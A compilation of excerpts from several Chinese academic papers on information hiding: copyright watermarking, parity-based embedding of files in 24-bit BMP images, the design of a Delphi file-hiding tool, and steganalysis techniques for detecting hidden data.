（1）版權保護。在數(shù)字水印技術的應用中，版權保護是最重要的內(nèi)容，主要是將重要的版權信息嵌入到圖像、音頻、文本中，目的是進行區(qū)分、標識以及解釋版權。在一些逐步實現(xiàn)數(shù)字化的行業(yè)，例如數(shù)字圖書館、數(shù)字新聞等，很多信息容易受到篡改，知識產(chǎn)權保護能力比較差，因此通過信息隱藏技術中的水印技術，既可以最大程度保持作品的原始性，又難以被非法用戶進行篡改，通過特殊標識的嵌入，可以是數(shù)字、文字、圖標，與原始文件的結合，不會嚴重破壞數(shù)據(jù)的功能，還能具備一定的商用價值。這種水印通常情況下是不可見的，特別是在涉及知識產(chǎn)權糾紛中，可以通過特定秘鑰提取出水印，進而實現(xiàn)保護自主知識產(chǎn)權的目的；（2）指紋識別。通過數(shù)字水印技術可以在文件中標注出授權的單位以及特殊名稱，通過文件的原始性保證在特殊處理之后以及用戶的接受、存儲之后，文件特性不會發(fā)生改變。因此如果在被保護文件通過隱藏技術傳輸之后，便可以標注的信息追蹤到文件的相關責任人，這樣對于調(diào)查、規(guī)則也有據(jù)可循。這種指紋識別的技術實質(zhì)是一種跟蹤功能，特別是在數(shù)字產(chǎn)品的應用中，版權人可以將不同用戶的序列號進行處理，嵌入到這些合法的拷貝中，這樣在出售合法的拷貝的時候，可以與嵌入的信息相對照，如果是非法的、未經(jīng)授權的拷貝產(chǎn)品，版權人便可以通過指紋來追蹤，進而找尋到泄密者。

3.2 隱藏通信技術的應用。隱藏通信技術主要是將被保護的秘密的信息、文件隱匿于某些普通的公開文件中，進而保證在傳輸過程中秘密信息的安全性。以隱藏載體形式的不同，可以劃分為文本的隱藏、語音的隱藏和視頻的隱藏等。在實踐中主要應用于數(shù)據(jù)的保密，例如在電子商務中時常會涉及到一些重要的信息，如商業(yè)機密、秘密協(xié)議、金融交易等，這些重要的數(shù)據(jù)信息一旦泄露可能會為個人或者企業(yè)帶來損失，因此防止非法用戶中途攔截這些數(shù)據(jù)，便可以采用隱藏通信技術，將信息以隱藏的形式進行傳輸，有效避免非法用戶的攔截，最大程度保證信息安全。

4 結束語

信息隱藏技術方式多樣，應用靈活，在未來的信息保護中將會得到廣泛應用，但是這種技術手段目前還在發(fā)展階段，在理論體系方面還在不斷趨于成熟與完善，特別是在現(xiàn)實應用中還有待于進一步優(yōu)化，存在的問題亟待解決。例如數(shù)字水印模型的構建、抗攻擊性的提升等等，在算法上也在逐步完善。信息隱藏技術作為一把雙刃劍，在應用方面也要利用特征優(yōu)勢，更好地為當下的信息傳輸做貢獻。

參考文獻：

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[2]劉潔.信息隱藏技術及應用[J].現(xiàn)代情報，2011.

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[4]高真.密文圖像中的可逆信息隱藏算法研究[D].重慶大學，2013.

[5]特列克別克?米沙.一種新的信息隱藏算法的設計研究[D].電子科技大學，2013.

篇（7）

信息隱藏的概念在幾千年前就已經(jīng)存在，主要是對于想要傳遞的文字、圖像、聲音等信息進行隱藏工作。互聯(lián)網(wǎng)技術發(fā)展迅速的今天，如何在信息的傳輸過程中保證信息安全性，并且保證圖像等信息可以被接收人正常識別，已經(jīng)成為研究的重要課題。

1 基于圖像的信息隱藏檢測技術

1.1 信息隱藏檢測技術

1.1.1 攻擊技術。攻擊技術是指，認為的對隱藏圖像信息進行攻擊破壞，可以簡單有效地使隱藏圖像信息被損壞，使之無法被識別。這種方法對于破壞傳輸信息是極為有效地方法，要謹慎使用，很容易造成信息徹底被破壞掉。

1.1.2 檢測技術要判斷是否有隱藏圖像信息，對信息進行檢測是判斷其是否存在的有效辦法，既能保證信息完整性，有可以對隱藏信息進行有效識別。檢測是對于隱藏的圖像信息進行分析的首要步驟。

1.1.3 破解技術在發(fā)現(xiàn)隱層圖像信息之后，要想得到隱藏的圖像信息，就要應用破解技術對加密技術進行破解，難度最大，也是整個分析過程的核心工作。

1.2 信息隱藏檢測技術

信息隱藏檢測技術依照研究的客體不同可以分為兩類，分別是：

a. 對比檢測技術。這種技術主要是講原始信息載體和隱藏后的信息載體進行對比，分析兩者間像素的關聯(lián)性，來實現(xiàn)隱藏信息檢測。此種檢測方式相對簡單，但是由于原始載體獲取不易，所以使用效果并不能理想。

b. 盲檢測技術。這種技術不需要獲取原始信息載體，主要是通過對于現(xiàn)有隱藏信息載體的自然數(shù)圖像特征進行分析，判斷其信息是都進行了隱藏，雖然這種技術對于技術水平的要求更高，但是應用效果也會更好。

信息隱藏檢測技術依照研究角度不同還可以分為另外兩種技術，分別是：

a. 時控域檢測方法。這種檢測方式是依據(jù)信息在時控域的嵌入方式不用來檢測信息時候被隱藏的。這種檢測方法在應用的時候檢測方向單一，對于多種不同信息隱藏僅應用了一種統(tǒng)計方法。

b. 頻率域檢測方法。這種方法是對于圖像信息在頻率域中的表現(xiàn)特性不同，來進行隱藏圖像分析的。利用這種特性可以檢測圖像信息是否有被嵌入隱藏信息。

信息隱藏檢測技術依照檢測特性還可以分為以下兩種：

a. 基于簽名的檢測方法。這種方法是應用已知的檢測工具，來進行隱藏信息分析。這種方法的優(yōu)勢是檢測的準確率很高，并且還可以分析出隱藏信息使用的具體嵌入技術。但是對于未知的信息嵌入方式無法進行檢測。

b. 基于系統(tǒng)的檢測方法。這種方法主要通過改變數(shù)字圖像的統(tǒng)計特性來進行檢測工作，在實際應用過程中通過判斷信息是否出現(xiàn)偏離，而確定信息的隱藏。這種方法對于一類圖像的檢測極為有效，較為通用。但是對于外界因素的影響阻擋較弱。

1.3 信息隱藏檢測技術優(yōu)劣衡量方式

無論是哪種信息隱藏檢測技術，首要的都是抱著檢測質(zhì)量，只有保證隱藏信息檢測的準確性才能進一步的對信息進行破解分析，獲取隱藏信息，其次就是要注意檢測的速度，一個需要幾天幾夜才能檢測出隱藏信息的方法，就算保證了檢測的準確性，但也不能說這種算法是好的、優(yōu)質(zhì)的。在網(wǎng)絡信息傳播如此快速的今天，速度在某種程度上也代表一切。

2 主流圖像隱藏識別技術

現(xiàn)階段，在圖像隱藏中應用的識別技術主要有三種，分別是：

2.1 基于數(shù)字水印算法的圖像隱藏信息識別技術

數(shù)字水印技術是一種新興的信息隱藏技術，可以將秘密信息嵌入到數(shù)字媒體的冗余比特中去，從而達到不可見的目的。不同于密碼術，信息隱藏技術的目的在于隱藏秘密信息的存在本身，因此具有更強的信息保密性和信息安全性。數(shù)字水印技術和隱藏信息檢測技術涉及計算機、通信、編碼、信號處理、數(shù)理統(tǒng)計、生物視覺聽覺特性等知識和技術，是一個跨學科的新領域。無論是在多媒體信號中嵌入不易察覺的秘密信息，還是從大量媒體信號中檢測這類秘密信息的存在性，都是富有挑戰(zhàn)性的技術課題。

基于數(shù)字水印算法的圖像隱藏信息識別技術針對LSB嵌入方式水印的改進全盲檢測算法，提高了擬合的精度，減小了載體圖像初始偏移量對估計準確度的影響。在不明顯增加時間復雜度的前提下，改進算法在全盲情況下估計隱藏信息長度時，可以獲得比其他算法更高的檢測準確度，而且適用范圍也很廣，是一種可以快速估計待測圖像中嵌入水印序列長度的算法，具有實際應用上的價值。

2.2 逆向隱藏變換算法的圖像隱藏信息識別技術

在圖像信息隱藏領域使用平面隱藏圖像逆向變換方法，能夠利用圖像像素空間位置建立圖像灰度分布模型，通過灰度分布模型獲取灰度數(shù)值矩陣，則可以將進行置亂處理后的灰度數(shù)值進行逆向變換，從而還原初始圖像。假設將上述變換方式使用到圖像隱藏信息識別中，用于信息的傳遞和隱藏方面，尤其是用于圖像隱藏信息交換方面，則能夠獲取理想的圖像信息隱藏效果。

根據(jù)圖像中的噪聲，能夠?qū)D像進行隱藏信息識別。假設噪聲和隱藏信息混雜在一起，造成隱藏信息特征發(fā)生形狀改變。因此，無法避免由于噪聲和隱藏信息混雜造成的隱藏信息特征形變的缺陷。利用逆向隱藏變換算法進行圖像隱藏信息識別，需要對隱藏信息進行置亂處理，將隱藏信息嵌入到初始圖像中，并利用密鑰提取隱藏信息，從而實現(xiàn)圖像隱藏信息的識別。

基于逆向隱藏變換算法的圖像隱藏信息識別方法，可以對隱藏信息進行置亂處理，將信息嵌入到初始圖像中，利用密鑰提取隱藏信息，從而完成了圖像隱藏信息的識別。這種算法提高了識別的準確率，取得了令人滿意的效果。

2.3 圖像隱藏信息識別創(chuàng)新點分析

基于圖像的信息隱藏檢測算法仍不成熟，還需進一步的深入研究.而支撐這種研究的重要資源就是一個可以分析、實驗的軟件平臺.通過分析系統(tǒng)平臺，可以進行算法的設計、分析、實驗、測試.基于圖像的信息隱藏分析系統(tǒng)平臺應該具有較好的實驗功能、集成現(xiàn)有的算法、具有良好的可擴充性，但是對系統(tǒng)運行的速度要求不高。

3 結論

計算機技術的發(fā)展，使人們的生產(chǎn)生活越來越依賴網(wǎng)絡，信息安全性是網(wǎng)絡信息傳輸?shù)年P注重點，現(xiàn)有的信息隱藏技術有隱寫術以及數(shù)字水印技術，雖然可以保證信息的安全，但是在加密圖像信息的傳輸過程中，很容易出現(xiàn)亂碼等問題，所以如何在對圖像信息進行加密隱層后，保證識別后的圖像質(zhì)量，是研究的核心，傳統(tǒng)的三種識別技術在圖像信息隱藏傳輸?shù)淖R別上各有優(yōu)勢，也各有利弊，研究人員的工作依舊是任重而道遠。

篇（8）

1 介紹

隨著計算機技術和Internet的迅速發(fā)展與應用，計算機越來越應用到了人們生活的方方面面中，又由于計算機在通訊方面突出表現(xiàn)，使其在各種信息交換、傳遞的領域更是獨樹一幟。事有兩面，在計算機進行快速信息交換的同時也帶來了一定的安全性問題，對于一些高度機密的文檔信息，就不能用普通的方法(如普通的U盤拷貝、發(fā)送電子郵件)進行交換和傳遞了。這樣如何將機密文檔信息在安全的情況下用現(xiàn)代的信息傳遞手段進行快速傳遞成為現(xiàn)在的一個新的研究課題。

信息隱藏技術的文檔信息傳輸是這個課題的核心，它是將機密文檔處理后隱藏到普通的BMP圖片中，把隱藏有信息的圖片通過計算機發(fā)送到接收方，接收方再解釋出隱藏文檔的方法。這種方法不同于單獨發(fā)送加密文件的優(yōu)點在于，不容易引起攻擊者的注意。因為中間信息是類同于普通的BMP圖片。這種方法的要求有兩點：

隱藏信息后的彩色BMP圖像與原始圖像相比，在人的視覺上沒有什么區(qū)別；

隱藏信息后的彩色BMP圖像與原始圖像相比，大小上沒有多大變化；

2 BMP位圖說明

BMP圖像文件格式，是微軟公司為其WINDOWS環(huán)境設置的標準圖像格式，在Windows系統(tǒng)軟件中包含了一系列支持BMP圖像處理的API函數(shù)。隨著WINDOWS操作系統(tǒng)在世界范圍內(nèi)的普及， BMP文件格式越來越多地被各種應用軟件所支持。

BMP圖像文件是位圖文件，位圖表示的是將一幅圖像分割成一個個很小的柵格，每個柵格縮小為一個點稱為像素，每一個像素具有自已的數(shù)值，即一幅圖像是由一系列像素點構成的點陣。BMP中按第個像素數(shù)值（像素位值）的取值范圍可以分為1位、4位、8位、24位圖片。像素位值的大小體現(xiàn)了圖片彩色質(zhì)量的好壞，同時也決定了圖片保存時占用空間的多少。①1位圖片就是指黑白圖片，圖片中每一由黑白兩種顏色組成，它是占用空間最少的位圖，同時是圖片質(zhì)量最差的；②4位圖片是16色的彩色圖片，圖片中每個像素位的范圍為0到15，帶有彩色，但彩色質(zhì)量很差，占用空間??；③8位圖片是256色的彩色圖片，圖片中每個像素位的范圍為0到255，彩色質(zhì)量相對好，占用空間大；④24位圖片就是所說的真彩色的彩色圖片，圖片中每個像素位由三個字節(jié)組成，彩色質(zhì)量相對好，占用空間最大；

這里討論的主要是對24位真彩色圖片的處理。

3 信息處理的原理

3.1 信息隱藏

信息隱藏就是將文檔信息隱藏在真彩色BMP圖片中，其流程如圖1所示：

圖2中，每一個點表示位圖中的一個像素,每一個像素的值范圍在0到16777215間。在隱藏信息時每一個像素的奇偶性作為隱藏數(shù)據(jù)的依據(jù)。如果此像素的值為偶數(shù)表示數(shù)據(jù)為0，如果此像素的值為奇數(shù)時表示數(shù)據(jù)為1，用0和1的不同排列組全表示各種數(shù)據(jù)。而這種表示方式正好與各種磁盤保存數(shù)據(jù)的方式相同（磁盤中的數(shù)據(jù)也是以0和1的方式 ：二進制方式保存的）。這樣從磁盤中讀取出文檔的內(nèi)容，使位圖中各個像素的奇偶性和文檔內(nèi)容的奇偶性對應，就在位圖中隱藏了信息這個過程叫位圖像素調(diào)制。其中的對應規(guī)則復雜程度是有效防止隱藏的信息被非法解讀出的難易程度的體現(xiàn)。對應規(guī)則越復雜越難被非法解讀出來。

再對位圖中每行中隱藏的數(shù)據(jù)進行位異或和CRC_32校驗，可以有效的驗證解讀出數(shù)據(jù)的有效性和正確性。信息隱藏過程舉例：BMP位圖第一行前8個像素的值為：13075297, 13075297, 13075297,13074781,13404000,13206622,13272413,13206620，要隱藏的數(shù)據(jù)為01010101，ASC碼值為85。將像素值的奇偶性與數(shù)據(jù)比較后要作如下的調(diào)制：

第一個像素：13075297隱藏信息0，要調(diào)整為偶數(shù)13075298；

第二個像素：13075297隱藏信息1，不變；

第三個像素：13075297隱藏信息0，要調(diào)整為偶數(shù)13075298；

第四個像素：13074781隱藏信息1，不變；

第五個像素：13404000隱藏信息0，不變；

第六個像素：13206622隱藏信息1，要調(diào)整為奇數(shù)13206623；

第七個像素：13272413隱藏信息0，要調(diào)整為偶數(shù)13272414；

第八個像素：13206620隱藏信息1，要調(diào)整為奇數(shù)13206621；

經(jīng)過這樣的調(diào)制，此BMP位圖第一行前8個像素的奇偶性便與85轉(zhuǎn)化的8位二進制數(shù)完全相同，這樣，8個像素就隱藏了一個字節(jié)的信息。

綜上所述，將信息隱藏入BMP位圖中的步驟為：

讀取文件的二進制內(nèi)容；

將位圖每個像素的奇偶性與二進制數(shù)據(jù)進行比較；

通過調(diào)節(jié)每個像素的奇偶性便之與文件的二進制內(nèi)容一致，就將信息隱藏到BMP位圖中了；

3.2 信息解讀

信息解讀就是從隱藏有信息的BMP位圖中解讀出隱藏的信息，是信息隱藏的逆過程，其流程如圖三所示：

信息解讀過程如下：

判斷BMP位圖中每個像素值的奇偶性，若為偶數(shù)，則輸出“0”；若為奇數(shù)，則輸出“1”；

每8個像素輸出8個0和1組成的二進制數(shù)據(jù)，轉(zhuǎn)換為一個字節(jié)；

經(jīng)過對所有像素處理，得到一系列的二進制數(shù)據(jù)，保存成文件，就是隱藏的信息。

本次實驗結果如圖4、圖5所示。

5 總結

(1)由于原始24位BMP圖像文件隱藏信息后，其像素位數(shù)值最多變化1（因為是像素位值加“1”或減“1”），該像素位代表的顏色最多只變化了1/16777216，所以，已隱藏信息的BMP圖像與未隱藏信息的BMP圖像，用肉眼是看不出差別的；

(2)由于此法只修改出BMP位圖中每個像素的值，而沒有改變像素的數(shù)量，所有在保存圖片時的大小沒有改變，所有隱藏了文檔信息后位圖的大小沒有改變；

(3)使用這種方法，隱藏的文檔信息是直接讀取的文件，所以對文件格式?jīng)]有限制，可以是TXT文件、WORD文件等。

篇（9）

中圖分類號：TP391文獻標識碼：B文章編號：1009-3044(2007)16-31041-02

Development of Windows File Concealment Software Based on Information Concealment Technology

YUE Jun-mei

(Taiyuan Polytechnic Institute Yangquan, Yangquan 045000, China)

Abstract:The text introduce a simple method f of hiding file to BMP image.The size of BMP image file is not changed and the BMP image data is changed by 1/256 on color,which is not touched by eyes.The file concealment software which is developed on Delphi 2005 proves the feasibility and the validity of this method.

Key words:Information Concealment;BMP image;Delphi 2005

1 引言

如今，人們的生活與計算機已經(jīng)息息相關了。我們存放在電腦內(nèi)的諸多資料總是希望不為人知，利用加密軟件是一招，但那樣容易引起別人的注意；利用位圖實現(xiàn)信息隱藏也是可用的一招，該方法信息隱藏率高，又無需占用任何資源。它充分利用24位BMP文件的冗余空間，把一批文件插入到這類文件中去，而不破壞原文件的結構和顯示效果。這樣，就可以將多個秘密文件保存于一個24位的BMP文件中，保存后的圖像與原始圖像相比，在人的視覺上沒有什么區(qū)別。

2 BMP隱藏文件的原理

2.1 BMP圖像的文件格式

BMP圖像文件是位圖文件，位圖表示的是將一幅圖像分割成柵格，柵格的每一點稱為像素，每一個像素具有自已的RG值，即一幅圖像是由一系列像素點構成的點陣。BMP文件由文件頭、位圖信息頭、顏色信息和圖像數(shù)據(jù)四部分組成。文件頭由54個字節(jié)的數(shù)據(jù)段組成，其中包含有該位圖文件的類型、大小、圖像尺寸及打印格式等； 從第55個字節(jié)開始，是該文件的圖像數(shù)據(jù)部分，數(shù)據(jù)的排列順序以圖像的左下角為起點，每連續(xù)3個字節(jié)便描述圖像一個像素點的顏色信息，這三個字節(jié)分別代表藍、綠、紅三基色在此像素中的亮度。

2.2 BMP實現(xiàn)原理

一幅24位BMP圖像，由54字節(jié)的文件頭和圖像數(shù)據(jù)部分組成，其中文件頭不能隱藏信息，從第55字節(jié)以后為圖像數(shù)據(jù)部分，可以隱藏信息。圖像數(shù)據(jù)部分是由一系列的8位二進制數(shù)所組成，由于每個8位二進制數(shù)中“1”的個數(shù)或者為奇數(shù)或者為偶數(shù)，約定：若一個字節(jié)中“1”的個數(shù)為奇數(shù)，則稱該字節(jié)為奇性字節(jié)，用“1”表示；若一個字節(jié)中“1”的個數(shù)為偶數(shù)，則稱該字節(jié)為偶性字節(jié)，用“0”表示。用每個字節(jié)的奇偶性來表示隱藏的信息。將信息嵌入BMP文件的步驟為：

(1)將待隱藏信息轉(zhuǎn)化為二進制數(shù)據(jù)碼流；

(2)將BMP文件圖像數(shù)據(jù)部分的每個字節(jié)的奇偶性與上述二進制數(shù)碼流進行比較；

(3)通過調(diào)整字節(jié)最低位的“0”或“1”，改變字節(jié)的奇偶性，使之與上述二進制數(shù)據(jù)流一致，即將信息嵌入到24位BMP圖像中。

由于原始24位BMP圖像文件隱藏信息后，其字節(jié)數(shù)值最多變化1（因為是在字節(jié)的最低位加“1”或減“1”），該字節(jié)代表的顏色濃度最多只變化了1/256，所以，已隱藏信息的BMP圖像與未隱藏信息的BMP圖像，用肉眼是看不出差別的； 使用這種方法，一個大小為32 k的24位BMP圖像文件，可以隱藏約32 k/8=4 k的信息（忽略文件頭不能隱藏數(shù)據(jù)的54個字節(jié)），該方法具有較高的信息隱藏率

2.3 信息的提取

信息提取是把隱藏的信息從偽裝BMP中讀取出來，其過程和步驟正好與信息嵌入相反：

(1)判斷BMP文件圖像數(shù)據(jù)部分每個字節(jié)的奇偶性，若字節(jié)中“1”的個數(shù)為偶數(shù)，則輸出“0”；若字節(jié)中“1”的個數(shù)為奇數(shù)，則輸出“1”；

(2)每判斷8個字節(jié)，便將輸出的8位數(shù)組成一個二進制數(shù)（先輸出的為高位）；

(3)經(jīng)過上述處理，得到一系列8位二進制數(shù)，便是隱藏信息的代碼，將代碼轉(zhuǎn)換成文本，或圖像，或聲音，就是隱藏的信息。

3 文件隱藏大師的實現(xiàn)

文件隱藏大師的主要功能是可以快速隱藏本地硬盤上的可執(zhí)行文件、程序源等任意文件。 所謂隱藏，就是指任何人無法通過資源瀏覽器，我的電腦，DOS方式等方法找到已隱藏的東西。

文件隱藏大師是基于Delphi 2005開發(fā)的，Delphi是全新的可視化編程環(huán)境，是基于Object Pascal語言的面向?qū)ο蟮拈_發(fā)工具，具有強大的數(shù)據(jù)存取功能。它的數(shù)據(jù)處理工具BDE(Borland Database Engine)是一個標準的中介軟件層，可以用來處理當前流行的數(shù)據(jù)格式，如xBase、Paradox等，也可以通過BDE的SQL Link直接與Sybase、SQL Server、Informix、Oracle等大型數(shù)據(jù)庫連接。

文件隱藏大師包含密碼驗證模塊、初始化模塊、添加/刪除位圖模塊、隱藏文件模塊、提取文件模塊、密碼管理模塊、選項設置模塊和關閉系統(tǒng)模塊。

3.1 文件隱藏大師模塊設計

(1)密碼驗證模塊

設置密碼驗證模塊的功能在于幫助用戶維護系統(tǒng)安全。進入本系統(tǒng)前，必須首先通過密碼驗證，如圖1所示，如果用戶沒有設置密碼，則進入系統(tǒng)時，會跳過本模塊。

圖1 密碼驗證模塊界面圖

(2)初始化模塊

設置初始化模塊的目的在于把用戶已經(jīng)操作過的文件記錄顯示到文件列表中，以便于用戶的操作。當用戶經(jīng)過密碼驗證后，程序會在注冊表里讀取用戶先前操作過的記錄，并將該記錄輸出到程序主界面的文件列表里，以供用戶繼續(xù)操作。

(3)添加/刪除位圖模塊

設置添加/刪除位圖模塊的目的在于把位圖路徑添加到文件列表中，以便于用戶隱藏文件，或?qū)o用的位圖信息從文件列表中刪除。添加位圖:可以將想要作為模板的位圖加入列表，然后再把文件隱藏到其中。刪除位圖:將您覺得無用的位圖文件刪掉。

(4)隱藏文件模塊

設置隱藏文件模塊的目的在于把用戶的文件隱藏到位圖中。隱藏文件:先在列表當中選中一幅位圖，然后點擊該按鈕就可以選擇您想要隱藏的文件了。

(5)提取文件模塊

設置提取文件模塊的目的在于把用戶隱藏在位圖中的文件提取出來。提取文件:先在列表中選擇一幅已經(jīng)隱藏了文件的位圖，然后點擊該按鈕選擇要保存的路徑即可。

(6)密碼管理模塊

設置密碼管理模塊的目的在于提高系統(tǒng)的安全性。

(7)選項設置模塊

可以設置在隱藏/提取文件時，系統(tǒng)對操作后的各個文件的自動處理。選項:在選項中您還可以設置隱藏文件使對原稿的處理，并且還可以為軟件設置密碼，以使其得到更好的保護。

(8)關閉系統(tǒng)模塊

設置本模塊的目的在于給用戶提供退出系統(tǒng)的功能。

3.2文件隱藏大師功能簡介

利用“文件隱藏大師”，如圖2所示，可以很輕松的在瞬間把任何文件隱藏到一幅位圖當中。

圖2 文件隱藏大師界面圖

(1)功能簡介

添加位圖：可以將你想要作為模板的位圖加入列表，然后再把文件隱藏到其中。

刪除位圖：將您覺得無用的位圖文件刪掉。

隱藏文件：先在列表當中選中一幅位圖，然后點擊該按鈕就可以選擇您想要隱藏的文件了。

提取文件：先在列表中選擇一幅已經(jīng)隱藏了文件的位圖，然后點擊該按鈕選擇要保存的路徑即可。

選項：在選項中您還可以設置隱藏文件使對原稿的處理，并且還可以為軟件設置密碼，以使其得到更好的保護。

(2)軟件的詳細操作步驟

隱藏文件操作步驟：

①使用“添加位圖”按鈕，添加一幅24位色的位圖到文件列表當中；

②在文件列表中選擇一個位圖文件后，點擊“隱藏文件”按鈕，然后選擇一個你想要隱藏的文件。

提取文件操作步驟：

①在文件列表中選擇一個位圖文件后，軟件底部會顯示有關被隱藏文件的信息；

②點擊“提取文件”按鈕,選擇目錄后，就會將隱藏的文件提取到該目錄下。

4 軟件的測試

軟件開發(fā)完畢后應與系統(tǒng)中其它成分集成在一起，驗證系統(tǒng)各部件是否都能完成所賦予的任務。下面將文件隱藏大師進行測試，測試要點如表1所示：

表1 文件隱藏大師測試要點

經(jīng)過上述的測試過程對軟件進行測試后，軟件基本滿足開發(fā)的要求，測試結束，軟件試運行。載入的原始位圖圖像如圖3所示，隱藏文件后的位圖圖像如圖4所示。由于該方法只對位圖顏色濃度變化了1/256，對原始圖像的數(shù)據(jù)影響不大, 所以兩幅圖像質(zhì)量沒有變化。

5 結束語

文件隱藏大師可以輕松的把任意類型的文件隱藏到一幅24位色的位圖當中，從而實現(xiàn)隱藏文件的目的，它是目前流行的Windows 優(yōu)化管理軟件如:Windows優(yōu)化大師、超級兔子等所不具備的功能，具有一定的價值。

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中圖分類號：TP391.41 文獻標識碼：A 文章編號：1674-7712 （2013） 20-0000-01

隨著計算機以及網(wǎng)絡技術的高速發(fā)展，網(wǎng)絡時代和數(shù)字時代己經(jīng)拉開了帷幕，但同時也跟我們帶來了很多問題。比如一些絕密的信息以及文件能否在互聯(lián)網(wǎng)中安全傳輸；個人的隱私能否得到相應的保障；一些公司、企業(yè)的商業(yè)機密會不會被他人竊??；多媒體的版權維護問題等。信息安全得到了國內(nèi)外各界的高度重視。

由此，一門新興的學科——信息隱藏（Information Hiding）應運而生。它的主要原理是利用了人類的感覺器官對數(shù)字信號的冗余，從而把一個有用的消息（即隱秘信息）偽裝隱藏在另外一個載體信息中，并且這個載體信息是可以公開的在信道里面?zhèn)鬏數(shù)?，隱秘之后就可以得到一個隱蔽載體，從而能夠?qū)崿F(xiàn)隱秘信息在信道中的隱蔽通信。在傳送過程中，第三方很難知道一個看似普通信息中是否隱含了其他的隱秘信息，就算知道也很難將其提取出來。

信息隱藏技術目前主要包括兩個方面：數(shù)字水印和信息隱寫。數(shù)字水印主要是對數(shù)字媒體起標識以及版權保護作用；信息隱寫則是將隱秘信息偽裝隱藏于其它的載體信息中。很多地方將數(shù)字水印技術作為一個單獨的分支拿出來做研究，同樣本文對數(shù)字水印也不做過多研究。信息隱藏技術是一把雙刃劍，一方面信息隱藏技術能夠為政治、軍事以及經(jīng)濟的機密信息在互聯(lián)網(wǎng)中的傳輸提供可靠的保障，個人在公共網(wǎng)絡中的安全和隱私也可以得到很好的保護；另一方面，也有可能被某些懷有不當目的的個人或者組織所利用，在網(wǎng)絡中傳播一些非法或破壞性的信息，從而對社會的公共安全以及國家安全造成了很大的危害。因此我們在學習、研究信息隱藏技術里這個“矛”的時候，也應該學習、研究其“盾”（隱寫分析技術）。

一、信息隱藏技術

信息隱藏技術和傳統(tǒng)的密碼技術相比，相同點是二者都是為了保證隱秘信息的安全。不同的則是密碼技術是對秘密信息進行特殊的編碼從而形成了第三方不可識別的密文。信息隱藏是將秘密信息偽裝隱藏于另外一個可以公開傳遞的載體信息之中，通過此載體信息在網(wǎng)絡上傳輸來傳遞隱秘信息。傳統(tǒng)密碼技術由于密文是雜亂的，所以很容易被第三方辨認出來，這樣的話第三方的目的就很明確了，一旦截獲了密文，全力去破解即可。但是對信息隱藏技術來說，僅通過視覺無法判斷出載體信息是否含有隱秘信息，因此面對互聯(lián)網(wǎng)的海量信息，第三方在短時間內(nèi)很難辨別出數(shù)字媒體是否包含有隱秘信息。因而跟傳統(tǒng)的密碼技術相比信息隱藏技術能更有效地保證隱秘信息的安全。信息隱藏技術模型如圖1所示，隱秘信息通過密鑰偽裝隱藏到載體信息之中，然后通過公共信道傳輸給接收對象，接收對象接收到信息以后根據(jù)密鑰就可以提取出想要得到的隱秘信息。在公共信道中，首先第三方很難察覺到載體信息中有隱秘信息，就算察覺到了，也很難提取出隱秘信息。

信息隱藏技術發(fā)展至今出現(xiàn)了許多經(jīng)典的算法，在圖像中嵌入隱秘信息的算法大致可以分為空域算法和變換域算法兩種?？沼蚍椒òㄊ褂肔SB編碼、用圖像處理或壓縮、變換算法對圖像的屬性進行修改?；驹砭褪抢脠D像本身的冗余性和人眼對圖像顏色或者灰度的分辨率的感官特性實現(xiàn)的信息隱藏。隱藏后并不改變載體圖像的使用價值和基本特征，隱秘前后僅靠肉眼基本看不出圖像差別。經(jīng)典算法大概包括：最低有效位算法，調(diào)色板方法以及Patchwork算法。而對于變換域的隱藏方法主要是使用離散傅立葉變換（DFT），離散余弦變換（DCT）或者小波變換在圖像中嵌入信息。變換可以基于整個圖像，也可以對整個圖像進行分塊操作。經(jīng)典算法大概包括：DFT變換域算法，DCT變換域算法以及DWT變換域算法。

二、隱寫分析技術

自古有矛就有盾，隱寫分析技術是指對被表明為正常的圖像、音頻、視頻等多媒體信號進行檢測，判斷其中是否嵌有秘密信息，甚至只是指出媒體中是否存在秘密信息的可能性大小。它的基本原理是根據(jù)載體信息在隱寫前后的統(tǒng)計特性的變化，從而能夠分辨出載體信息是否包含有隱秘信息。一般原始圖像的特性是比較連續(xù)、光滑的而且像素之間具有較高的相關性。而隱秘圖像一般都是隨機的比特流，而且與原始的載體信息之間相互獨立，所以圖像相鄰像素之間的相關性將會大大降低。隱寫分析技術從某種程度上說其實就是兩類分類的模式識別問題，其關鍵是特征的選擇，好的特征能較好的幫助我們判斷出載體是否含有隱秘信息。

針對某種特定隱寫術的隱寫分析可分為空域分析和變換域分析?？沼螂[寫分析主要攻擊對象是空域LSB隱寫算法，主要包括有EZStego，s-Tool等。經(jīng)典的分析算法包括直方圖分析法、x2分析法、RS分析法等。變換域隱寫分析的主要攻擊對象為DCT域隱寫術，它包括有Jsteg、Outguess、F5以及MB等，變換域隱寫分析主要思路是DCT系數(shù)在隱寫前后特性會發(fā)生變化。通用隱寫分析主要根據(jù)圖像隱寫前后總體或者局部統(tǒng)計特性的變化，然后選取統(tǒng)計特征向量進行訓練，最后通過分類器進行有效分類。

三、總結和展望

綜上所述，信息隱藏技術與隱寫分析技術已成為了當下一個熱點問題，應用于越來越多的領域，二者相互制約，相互促進。但是它們現(xiàn)在都還處在一個發(fā)展階段，還有很多問題需要我們?nèi)ソ鉀Q。對隱寫分析來說，現(xiàn)在有很多種方法可以檢測出圖像是否含有隱秘信息，但要估計出隱秘信息的長度，甚至提取出隱秘信息，現(xiàn)在仍然難以做到，這也將是以后研究工作的重點和難點。同時特征的選取，分類器的設計以及降維技術都還存在可以優(yōu)化的空間。

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［10］郝慧珍,傅汝林.基于IP偽裝的網(wǎng)絡安全技術研究［J］.成都理工學院學報,2002,29(3):315-319.